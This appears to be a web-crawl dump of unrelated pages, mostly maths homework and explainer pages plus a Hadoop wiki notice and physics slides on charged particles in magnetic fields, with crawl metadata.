"https://latex.artofproblemsolving.com/d/4/c/d4c51cc1cc2c9c1a9f1289b458925ff8757c55b9.png ",
null,
"https://latex.artofproblemsolving.com/9/d/f/9dff47f805ff3ffa7c2b8f8d98335e9c90bc3e4c.png ",
null,
"https://latex.artofproblemsolving.com/f/0/1/f016d931ad7a089f823ee0ebbf733abbc6f4a222.png ",
null,
"https://latex.artofproblemsolving.com/7/b/2/7b29c1552c256e981dc5b982aae6a8b77d085b55.png ",
null
]
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http://mail-archives.apache.org/mod_mbox/hadoop-common-commits/201008.mbox/%[email protected]%3E | [
"##### Site index · List index\nMessage view\nTop\nFrom Apache Wiki <[email protected]>\nDate Mon, 16 Aug 2010 21:50:33 GMT\n```Dear Wiki user,\n\nYou have subscribed to a wiki page or wiki category on \"Hadoop Wiki\" for change notification.\n\nThe \"Hive/HBaseBulkLoad\" page has been changed by JohnSichi.\n\n--------------------------------------------------\n\nlimit 11;\n}}}\n\n- This works by ordering all of the rows in a sample of the table (using a single reducer),\nand then selecting every nth row (here n=910000). The value of n is chosen by dividing the\ntotal number of rows in the table by the desired number of ranges, e.g. 12 in this case (one\nmore than the number of partitioning keys produced by the LIMIT clause). The assumption here\nis that the distribution in the sample matches the overall distribution in the table; if this\nis not the case, the resulting partition keys will lead to skew in the parallel sort.\n+ This works by ordering all of the rows in a .01% sample of the table (using a single reducer),\nand then selecting every nth row (here n=910000). The value of n is chosen by dividing the\ntotal number of rows in the sample by the desired number of ranges, e.g. 12 in this case (one\nmore than the number of partitioning keys produced by the LIMIT clause). The assumption here\nis that the distribution in the sample matches the overall distribution in the table; if this\nis not the case, the resulting partition keys will lead to skew in the parallel sort.\n\nOnce you have your sampling query defined, the next step is to save its results to a properly\nformatted file which will be used in a subsequent step. To do this, run commands like the\nfollowing:\n\n```\nMime\nView raw message"
]
| [
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.87042254,"math_prob":0.8121088,"size":1611,"snap":"2019-26-2019-30","text_gpt3_token_len":368,"char_repetition_ratio":0.14250156,"word_repetition_ratio":0.6542751,"special_character_ratio":0.25698325,"punctuation_ratio":0.0977918,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9847189,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-07-23T12:39:19Z\",\"WARC-Record-ID\":\"<urn:uuid:77288398-b41e-4be2-9265-e4974ec4d96a>\",\"Content-Length\":\"5571\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ab7c7eb0-efee-4319-aead-d61d70a98da5>\",\"WARC-Concurrent-To\":\"<urn:uuid:5b758a88-d697-46aa-9914-06837f4b7b52>\",\"WARC-IP-Address\":\"207.244.88.142\",\"WARC-Target-URI\":\"http://mail-archives.apache.org/mod_mbox/hadoop-common-commits/201008.mbox/%[email protected]%3E\",\"WARC-Payload-Digest\":\"sha1:YMUOX22MG737B5DUMB2S72JGGXE25VC5\",\"WARC-Block-Digest\":\"sha1:J5ST37K4K4YMKXCPRCZ33HAS36OW5LBH\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-30/CC-MAIN-2019-30_segments_1563195529276.65_warc_CC-MAIN-20190723105707-20190723131707-00097.warc.gz\"}"} |
https://www.excellup.com/seventh_math/7_math_chapter_6_2.aspx | [
"# Properties of Triangles\n\n## Exercise 6.2\n\nQuestion 1: Find the value of unknown exterior angle in following diagrams.",
null,
"",
null,
"",
null,
"",
null,
"",
null,
"",
null,
"(i) x = 50° + 70° = 120°\n\n(ii) x = 65° + 45° = 110°\n\n(iii) x = 30° + 40° = 70°\n\n(iv) x = 60° + 60° = 120°\n\n(v) x = 50° + 50° = 100°\n\n(vi) x = 60° + 30° = 90°\n\nQuestion 2: Find the value of unknown interior angle in following figures:",
null,
"",
null,
"",
null,
"",
null,
"",
null,
"",
null,
"Answer: Exterior angle of a triangle is equal to the sum of opposite interior angles.\n\n(i) x = 115° - 50° = 65°\n\n(ii) x = 100° - 70° = 30°\n\n(iii) x = 120° - 60° = 60°\n\n(iv) x = 80° - 30° = 50°\n\n(v) x = 75° - 35° = 40°\n\n### Exercise 6.3\n\nQuestion 1: Find the value of unknown x in following figures:",
null,
"(a) Answer: x = 180° - (50° + 60°) = 180° - 110° = 70°",
null,
"(b) Answer: x = 180° - (30° + 90°)\n\nSince it is a right angle so the third angle is a right angle.\n\nOr, x = 180° - 120° = 60°",
null,
"(c) Answer: x = 180° - (30° + 110°) = 180° - 140° = 40°",
null,
"(d) Answer: Here; 50° + 2x = 180°\n\nOr, 2x = 180° - 50° = 130°\n\nOr, x = 130° ÷ 2 = 65°",
null,
"(e) Answer: This is an equilateral triangle\n\nHence, 3x = 180°\n\nOr, x = 180° ÷ 3 = 60°",
null,
"(f) Answer: This is a right angled triangle.\n\nHence, 2x + x + 90°= 180°\n\nOr, 3x = 180° - 90°\n\nOr, x = 90° ÷ 3 = 30°\n\nQuestion 2: Find the values of the unknowns x and y in the following diagrams.",
null,
"(i) Answer: Since an external angle is equal to the sum of opposite exterior angles.\n\nHence, 120° = 50° + x\n\nOr, x = 120° - 50° = 70°\n\nNow, 120° + y = 180°\n\nBecause they make linear pair of angles and angles of a linear pair are always supplementary.\n\nOr, y = 180° - 120° = 60°",
null,
"(ii) Answer: In this case, y = 80°\n\nBecause, vertically opposite angles are always equal.\n\nNow, 50° + y + x = 180° (Angle sum property of triangle)\n\nOr, 50° + 80° + x = 180°\n\nOr, x + 130° = 180°\n\nOr, x = 180° - 130°= 50°",
null,
"(iii) Answer: Here, x = 50° + 60° = 110°\n\nBecause , exterior angle in a triangle is equal to sum of opposite internal angles.\n\nNow, x + y = 180° (Linear pair of angles are supplementary)\n\nOr, 110° + y = 180°\n\nOr, y = 180° - 110° = 70°",
null,
"(iv) Answer: Here, x = 60° (Vertically opposite angles are equal)\n\nNow, 30° + x + y = 180° (Angle sum of triangle)\n\nOr, 30° + 60° + y = 180°\n\nOr, y + 90° = 180°\n\nOr, y = 180° - 90°\n\nOr, x = 60° and y = 90°",
null,
"(v) Answer: Here, x = 90° (Vertically opposite angles are equal)\n\nNow, x + x + y = 180°\n\nOr, 2x + 90° = 180°\n\nOr, 2x = 180° - 90° = 90°\n\nOr, x = 90° ÷ 2 = 45°",
null,
"(vi) Answer: Here, x = y (Vertically opposite angles are equal.\n\nThus, all angles of the given triangle are equal. It means that the given triangle is equilateral triangle and each angle has same measure.\n\nHence, x = y = 60°"
]
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.7481664,"math_prob":1.000005,"size":2602,"snap":"2021-43-2021-49","text_gpt3_token_len":1055,"char_repetition_ratio":0.20669746,"word_repetition_ratio":0.12435233,"special_character_ratio":0.5261337,"punctuation_ratio":0.13409962,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9999503,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48],"im_url_duplicate_count":[null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null,3,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-10-23T18:37:39Z\",\"WARC-Record-ID\":\"<urn:uuid:5c112614-5dd8-4937-8ce6-9be244787d04>\",\"Content-Length\":\"12375\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:44fe29f7-7a0c-4e87-b0bc-87d623ccb30c>\",\"WARC-Concurrent-To\":\"<urn:uuid:3e8bcb5e-a59b-4abd-878b-30442cd35616>\",\"WARC-IP-Address\":\"182.50.135.109\",\"WARC-Target-URI\":\"https://www.excellup.com/seventh_math/7_math_chapter_6_2.aspx\",\"WARC-Payload-Digest\":\"sha1:SHGXJAJQHEA7UE4PGXE2PGUI6OI3C2CK\",\"WARC-Block-Digest\":\"sha1:3HDD224A2NSCUDSTNO3YRUHIOW2MR42Q\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-43/CC-MAIN-2021-43_segments_1634323585737.45_warc_CC-MAIN-20211023162040-20211023192040-00316.warc.gz\"}"} |
https://numbermatics.com/n/6366593200/ | [
"# 6366593200\n\n## 6,366,593,200 is an even composite number composed of six prime numbers multiplied together.\n\nWhat does the number 6366593200 look like?\n\nThis visualization shows the relationship between its 6 prime factors (large circles) and 240 divisors.\n\n6366593200 is an even composite number. It is composed of six distinct prime numbers multiplied together. It has a total of two hundred forty divisors.\n\n## Prime factorization of 6366593200:\n\n### 24 × 52 × 11 × 23 × 53 × 1187\n\n(2 × 2 × 2 × 2 × 5 × 5 × 11 × 23 × 53 × 1187)\n\nSee below for interesting mathematical facts about the number 6366593200 from the Numbermatics database.\n\n### Names of 6366593200\n\n• Cardinal: 6366593200 can be written as Six billion, three hundred sixty-six million, five hundred ninety-three thousand, two hundred.\n\n### Scientific notation\n\n• Scientific notation: 6.3665932 × 109\n\n### Factors of 6366593200\n\n• Number of distinct prime factors ω(n): 6\n• Total number of prime factors Ω(n): 10\n• Sum of prime factors: 1281\n\n### Divisors of 6366593200\n\n• Number of divisors d(n): 240\n• Complete list of divisors:\n• Sum of all divisors σ(n): 17755220736\n• Sum of proper divisors (its aliquot sum) s(n): 11388627536\n• 6366593200 is an abundant number, because the sum of its proper divisors (11388627536) is greater than itself. Its abundance is 5022034336\n\n### Bases of 6366593200\n\n• Binary: 1011110110111101010000000101100002\n• Base-36: 2XAI6R4\n\n### Squares and roots of 6366593200\n\n• 6366593200 squared (63665932002) is 40533508974286240000\n• 6366593200 cubed (63665932003) is 258060362607829750437568000000\n• The square root of 6366593200 is 79790.9343221397\n• The cube root of 6366593200 is 1853.3994665541\n\n### Scales and comparisons\n\nHow big is 6366593200?\n• 6,366,593,200 seconds is equal to 202 years, 22 weeks, 5 days, 10 hours, 6 minutes, 40 seconds.\n• To count from 1 to 6,366,593,200 would take you about four hundred four years!\n\nThis is a very rough estimate, based on a speaking rate of half a second every third order of magnitude. If you speak quickly, you could probably say any randomly-chosen number between one and a thousand in around half a second. Very big numbers obviously take longer to say, so we add half a second for every extra x1000. (We do not count involuntary pauses, bathroom breaks or the necessity of sleep in our calculation!)\n\n• A cube with a volume of 6366593200 cubic inches would be around 154.4 feet tall.\n\n### Recreational maths with 6366593200\n\n• 6366593200 backwards is 0023956636\n• 6366593200 is a Harshad number.\n• The number of decimal digits it has is: 10\n• The sum of 6366593200's digits is 40\n• More coming soon!"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.5812069,"math_prob":0.9760766,"size":5195,"snap":"2019-43-2019-47","text_gpt3_token_len":1834,"char_repetition_ratio":0.11885957,"word_repetition_ratio":0.073141485,"special_character_ratio":0.5776708,"punctuation_ratio":0.115342766,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9924552,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-11-18T03:11:46Z\",\"WARC-Record-ID\":\"<urn:uuid:daa82ff6-1d99-4e11-afed-5b0600d3181a>\",\"Content-Length\":\"33903\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:32714210-4a12-4424-ba5f-c8d5b5ff67a2>\",\"WARC-Concurrent-To\":\"<urn:uuid:fd29538f-ce54-40fc-96df-67bf7b30ff1f>\",\"WARC-IP-Address\":\"72.44.94.106\",\"WARC-Target-URI\":\"https://numbermatics.com/n/6366593200/\",\"WARC-Payload-Digest\":\"sha1:HRD2MA2AOQMMXWIE3P3JO6MWUZ4K3OBJ\",\"WARC-Block-Digest\":\"sha1:SJ67UGKHVZ5BKDLPTOPL4GMR25AYFJ66\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-47/CC-MAIN-2019-47_segments_1573496669431.13_warc_CC-MAIN-20191118030116-20191118054116-00548.warc.gz\"}"} |
https://flyingcoloursmaths.co.uk/ask-uncle-colin-polling-percentage/ | [
"Dear Uncle Colin\n\nI have a percentages problem: I’m told that in an election, 95.74% of the electorate voted for the winning side. What is the minimum possible size of the electorate?\n\n- Percentages Often Lack Logic\n\nHi, POLL, and thank you for your message!\n\nThere are two possible answers to this, depending on whether the reported percentage is exact, or if it has been rounded.\n\n### It’s exact!\n\nIf it’s exact, there’s no real difficulty: 95.74% = $\\frac{9574}{10000}$, which simplifies to $\\frac{4787}{5000}$ - and a minimum electorate of 5000 people.\n\nThat’s fine, but it’s a bit dull, don’t you think? How about if we just know that between 95.735% and 95.745% of the population voted for the winners?\n\n# It’s rounded!\n\nMy approach here was to think about the losing side, who got 4.26% of the vote (to two decimal places). What fractions round to 0.0426?\n\nOne way to approach this is to look at the reciprocal, which is $\\frac{1}{0.0426}\\approx 23.474$ - which looks fairly close to 23.5, or $\\frac{47}{2}$. In fact, $\\frac{2}{47}\\approx 0.0426$, and $\\frac{45}{47}\\approx 95.74$%, correct to two decimal places.\n\nI’m on the fence about whether this is a good question - it should certainly be stated more clearly. Unless you’re studying continued fractions, it does depend on spotting the fraction, which can look a bit like magic.\n\nHope that helps!\n\n- Uncle Colin"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.92150414,"math_prob":0.97586894,"size":1437,"snap":"2022-05-2022-21","text_gpt3_token_len":381,"char_repetition_ratio":0.09979065,"word_repetition_ratio":0.0,"special_character_ratio":0.3020181,"punctuation_ratio":0.14873418,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9529683,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-29T10:53:38Z\",\"WARC-Record-ID\":\"<urn:uuid:1d76626e-797d-47b2-a07d-2dd4d9ed65c0>\",\"Content-Length\":\"8948\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ed585dc3-2d03-40ee-841a-7c51fd94110e>\",\"WARC-Concurrent-To\":\"<urn:uuid:1fc20fe5-2088-4a3f-8891-a4b6176eca98>\",\"WARC-IP-Address\":\"23.83.135.74\",\"WARC-Target-URI\":\"https://flyingcoloursmaths.co.uk/ask-uncle-colin-polling-percentage/\",\"WARC-Payload-Digest\":\"sha1:2JGZ2VRI37EQYSXKYLZZXDX4W4YNLY42\",\"WARC-Block-Digest\":\"sha1:QPM5FYDAW77JDXGXHDOJAMN6DFO24VJU\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652662644142.66_warc_CC-MAIN-20220529103854-20220529133854-00547.warc.gz\"}"} |
https://www.matchfishtank.org/curriculum/math/5th-grade-math/multiplication-and-division-of-whole-numbers/lesson-18/ | [
"# Multiplication and Division of Whole Numbers\n\n## Objective\n\nDivide four-digit dividends by two-digit divisors with two- and three-digit quotients, reasoning about the decomposition of a remainder in any place.\n\n## Common Core Standards\n\n### Core Standards\n\n?\n\n• 5.NBT.B.6 — Find whole-number quotients of whole numbers with up to four-digit dividends and two-digit divisors, using strategies based on place value, the properties of operations, and/or the relationship between multiplication and division. Illustrate and explain the calculation by using equations, rectangular arrays, and/or area models.\n\n?\n\n• 4.NBT.B.4\n\n• 4.NBT.B.6\n\n• 5.NBT.A.1\n\n• 5.NBT.A.2\n\n## Criteria for Success\n\n?\n\n1. Estimate partial quotients of four-digit dividends and two-digit divisors with two- and three-digit quotients.\n2. Use the estimate to approximate each value in the quotient, adjusting when the estimate is either too high or too low.\n3. Divide four-digit dividends by two-digit divisors with two- and three-digit quotients and remainders in the ones place.\n4. Check that the solution to a division problem is correct by using inverse operations, multiplying the quotient by the divisor and adding the remainder, seeing if it is equivalent to the dividend.\n5. Assess the reasonableness of a solution by rounding to estimate or by checking a solution using multiplication (MP.1).\n6. Solve word problems involving division, including those that require interpretation of the remainder (MP.1, MP.4).\n\n#### Fishtank Plus\n\n• Problem Set\n• Student Handout Editor\n• Vocabulary Package\n\n?\n\n### Problem 1\n\nEstimate the following quotient. Then compute it.\n\n$6,247\\div29$\n\n#### References\n\nEngageNY Mathematics Grade 5 Mathematics > Module 2 > Topic F > Lesson 23Concept Development\n\nGrade 5 Mathematics > Module 2 > Topic F > Lesson 23 of the New York State Common Core Mathematics Curriculum from EngageNY and Great Minds. © 2015 Great Minds. Licensed by EngageNY of the New York State Education Department under the CC BY-NC-SA 3.0 US license. Accessed Dec. 2, 2016, 5:15 p.m..\n\nModified by The Match Foundation, Inc.\n\n### Problem 2\n\n1. ${4,289\\div52}$\n2. $6,649\\div63$\n\n#### References\n\nEngageNY Mathematics Grade 5 Mathematics > Module 2 > Topic F > Lesson 23Concept Development\n\nGrade 5 Mathematics > Module 2 > Topic F > Lesson 23 of the New York State Common Core Mathematics Curriculum from EngageNY and Great Minds. © 2015 Great Minds. Licensed by EngageNY of the New York State Education Department under the CC BY-NC-SA 3.0 US license. Accessed Dec. 2, 2016, 5:15 p.m..\n\nModified by The Match Foundation, Inc.\n\n### Problem 3\n\nWrite different word problems that involve the equation $2,725\\div16=?$ and fit the following criteria:\n\n1. Answer to the word problem is 170\n2. Answer to the word problem is 171\n3. Answer to the word problem is 5\n4. CHALLENGE: Answer to the word problem is 11\n\n## Discussion of Problem Set\n\n?\n\n• What pattern did you notice between #1d and 1f? Since the quotient was 70 with a remainder of 14 for both problems, does that mean these division expressions are equal?\n• When dividing, did your estimate need to be adjusted at times? When? What did you do in order to continue dividing?\n• Compare your quotients in #1. What did you notice in #1a, 1b, and 1c? Will a four-digit total divided by a two-digit divisor always result in a three-digit quotient? How does the relationship between the divisor and the whole impact the number of digits in the quotient? Can you create a problem that will result in a two-digit quotient? A three-digit quotient?\n• How did you decide on a dividend and divisor in #2? Are both of your actual values greater than their estimates, less than their estimates, or is one greater than and the other less than? Could you ever come up with a dividend and divisor that are both less than their estimated values and still have the quotient be between 1,000 and 1,200? Why or why not?\n\n?\n\n### Problem 1\n\n${1,056 \\div 37}$\n\n#### References\n\nEngageNY Mathematics Grade 5 Mathematics > Module 2 > Topic F > Lesson 23Exit Ticket, Question b\n\nGrade 5 Mathematics > Module 2 > Topic F > Lesson 23 of the New York State Common Core Mathematics Curriculum from EngageNY and Great Minds. © 2015 Great Minds. Licensed by EngageNY of the New York State Education Department under the CC BY-NC-SA 3.0 US license. Accessed Dec. 2, 2016, 5:15 p.m..\n\nModified by The Match Foundation, Inc.\n\n### Problem 2\n\nA store is celebrating its 19th year of being in business by giving away a prize to every 19th online customer. A total of 8,281 customers bought something.\n\n1. What is the total number of prizes they gave away?\n2. How many additional customers would need to have bought something for one more prize to be given away?\n\n?"
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http://www.hiid.life/yipar/dufk.php?on=algebra-2-rational-functions-review | [
"Algebra 2 rational functions review\n\nphp was not found on this server. . 404 Not Found Not Found The requested URL /dbparse/index10072019algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review. algebra 2 rational functions review."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.76207906,"math_prob":0.98051965,"size":3799,"snap":"2019-26-2019-30","text_gpt3_token_len":726,"char_repetition_ratio":0.28985506,"word_repetition_ratio":0.9667969,"special_character_ratio":0.19215582,"punctuation_ratio":0.16504854,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9561136,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-07-20T18:11:39Z\",\"WARC-Record-ID\":\"<urn:uuid:4ec1eb17-ae38-45e5-a20e-0efa784d8a1a>\",\"Content-Length\":\"10654\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c6cd4488-3d80-406e-818d-352dce09fd99>\",\"WARC-Concurrent-To\":\"<urn:uuid:7106a557-ab4f-4456-abb8-fd6c85c8621e>\",\"WARC-IP-Address\":\"185.7.252.116\",\"WARC-Target-URI\":\"http://www.hiid.life/yipar/dufk.php?on=algebra-2-rational-functions-review\",\"WARC-Payload-Digest\":\"sha1:TBUGV237OIWMHY7VRFIK3MM6UQAF7VLO\",\"WARC-Block-Digest\":\"sha1:QM3MJUTH7UGVHKVIESBONZBGTGR7I74V\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-30/CC-MAIN-2019-30_segments_1563195526560.40_warc_CC-MAIN-20190720173623-20190720195623-00147.warc.gz\"}"} |
https://answers.everydaycalculation.com/lcm/756-1600 | [
"Solutions by everydaycalculation.com\n\n## What is the LCM of 756 and 1600?\n\nThe lcm of 756 and 1600 is 302400.\n\n#### Steps to find LCM\n\n1. Find the prime factorization of 756\n756 = 2 × 2 × 3 × 3 × 3 × 7\n2. Find the prime factorization of 1600\n1600 = 2 × 2 × 2 × 2 × 2 × 2 × 5 × 5\n3. Multiply each factor the greater number of times it occurs in steps i) or ii) above to find the lcm:\n\nLCM = 2 × 2 × 2 × 2 × 2 × 2 × 3 × 3 × 3 × 5 × 5 × 7\n4. LCM = 302400\n\nMathStep (Works offline)",
null,
"Download our mobile app and learn how to find LCM of upto four numbers in your own time:"
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"https://answers.everydaycalculation.com/mathstep-app-icon.png",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.7125726,"math_prob":0.99992204,"size":487,"snap":"2020-10-2020-16","text_gpt3_token_len":161,"char_repetition_ratio":0.13043478,"word_repetition_ratio":0.0,"special_character_ratio":0.43737167,"punctuation_ratio":0.08791209,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99745667,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-02-18T19:31:53Z\",\"WARC-Record-ID\":\"<urn:uuid:e7f2985a-49d7-43c4-bdb3-b266fa23dbae>\",\"Content-Length\":\"5919\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3956277b-cde7-4a7b-9e91-4d44123a9f59>\",\"WARC-Concurrent-To\":\"<urn:uuid:b9530bf8-a027-432f-8bab-f23b7b9c67b8>\",\"WARC-IP-Address\":\"96.126.107.130\",\"WARC-Target-URI\":\"https://answers.everydaycalculation.com/lcm/756-1600\",\"WARC-Payload-Digest\":\"sha1:JMU3QAF7AM6TCCHDMJFZQHJC4KL4WOPK\",\"WARC-Block-Digest\":\"sha1:A6WF6IEDH4GMAOJGBBDRCGZKNWOMKQHH\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-10/CC-MAIN-2020-10_segments_1581875143805.13_warc_CC-MAIN-20200218180919-20200218210919-00048.warc.gz\"}"} |
https://znanio.ru/media/14motion-of-a-charged-particle-in-the-magnetic-field-2582984 | [
"14Motion of a charged particle in the magnetic field\nОценка 4.8\n\n# 14Motion of a charged particle in the magnetic field\n\nОценка 4.8\npptx\n07.05.2020",
null,
"14Motion of a charged particle in the magnetic field.pptx\n\n## Lorentz force. Motion of a charged particle in the magnetic field 1",
null,
"Lorentz force. Motion of a charged particle in the magnetic field\n\n1\n\n## Learning objective To investigate the effect of a magnetic field on moving charged particles; 2",
null,
"Learning objective\n\nTo investigate the effect of a magnetic field on moving charged particles;\n\n2\n\nThompson’s experiment\n\nIn 1897 JJ Thomson set out to prove that cathode rays originating from a heated cathode (electron gun), were actually a stream of small negatively charged particles called electrons.\nElectrons are accelerated from the cathode.\nThey are deflected by electric and magnetic fields.\nThe beam of electrons strikes a fluorescent screen.\ne/m was measured.\n\nThe charge-to-mass ratio of an electron\n\nSince the electrons are moving in a circle, there must be centripetal force\nQuestion: Which force is acting as the centripetal force?\nTherefore, since FM = FC\nWe can equate the equations and solve for e/m\nTask: Try to derive an expression\nfor e/m.\n\nSolution\n\nTherefore, Bqv = mv2/r\nRe-arranging the terms,\nq/m = v/Br\nQuestion: Which variable is hard to\nmeasure?\n\n## Answer Velocity However we get around this using the electron gun equation:",
null,
"Velocity\nHowever we get around this using the electron gun equation:\n\n## The ratio e/m for an electron – its specific charge – may be determined using a fine-beam tube",
null,
"The ratio e/m for an electron – its specific charge – may be determined using a fine-beam tube.\nThe path of electrons is made visible by having low-pressure gas in the tube: the radius of the orbit may be measured.\nBy accelerating the electrons through a known potential difference V, their speed on entry into the region of the magnetic field may be calculated:\n\n## The magnetic field is provided by a pair of current-carrying coils (Helmholtz coils,",
null,
"The magnetic field is provided by a pair of current-carrying coils (Helmholtz coils, Figure 2).\nCombining the equations\nq/m = v/Br and\n\nThen specific charge on electron\nValues for the charge e and m are usually given as\n\nFigure 2\n\n## Velocity Selector Used when all the particles need to move with the same velocity",
null,
"Velocity Selector\n\nUsed when all the particles need to move with the same velocity\nA uniform electric field is perpendicular to a uniform magnetic field\nUse the active figure to vary the fields to achieve the straight line motion\nWhen the force due to the electric field is equal but opposite to the force due to the magnetic field, the particle moves in a straight line\n\n## Net force: The forces balance if the speed of the particle is related to the field strengths by qvB = qE v =",
null,
"Net force:\nThe forces balance if the speed of the particle is related to the field strengths by qvB = qE\n\nv = E/B (velocity selector)\n\n## Mass Spectrometer A mass spectrometer separates ions according to their mass-to-charge ratio",
null,
"Mass Spectrometer\n\nA mass spectrometer separates ions according to their mass-to-charge ratio.\nIn one design, a beam of ions passes through a velocity selector and enters a second magnetic field.\nAfter entering the second magnetic field, the ions move in a semicircle of radius r before striking a detector at P.\nIf the ions are positively charged, they deflect to the left.\nIf the ions are negatively charged, they deflect to the right.\n\n## The mass to charge (m/q) ratio can be determined by measuring the radius of curvature and knowing the magnetic and electric field magnitudes",
null,
"The mass to charge (m/q) ratio can be determined by measuring the radius of curvature and knowing the magnetic and electric field magnitudes.\n\nIn practice, you can measure the masses of various isotopes of a given atom, with all the ions carrying the same charge.\nThe mass ratios can be determined even if the charge is unknown.\n\nReflection\n\nWhat has been learned\nWhat remained unclear\nWhat is necessary to work on\n\nСкачать файл"
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"https://fs.znanio.ru/d5030e/5e/75/3f614e3fe9d3e645943cbb88c9e710f39c.jpg",
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"https://fs.znanio.ru/d5aff2/13/65/0fca551508072904ca7b1ea97b67b72400.jpg",
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"https://fs.znanio.ru/d5aff2/ad/46/4eaa9da9422bd1f16dcf17feff39d963fe.jpg",
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"https://fs.znanio.ru/d5aff2/19/92/76b20aac7426c08d1c5d51e7bf488de3b7.jpg",
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"https://fs.znanio.ru/d5aff2/f9/9b/ee7488a52b10755c18cc553db396e5232f.jpg",
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"https://fs.znanio.ru/d5aff2/9b/9a/ba807d8d6f879ba60d13160768af66f4af.jpg",
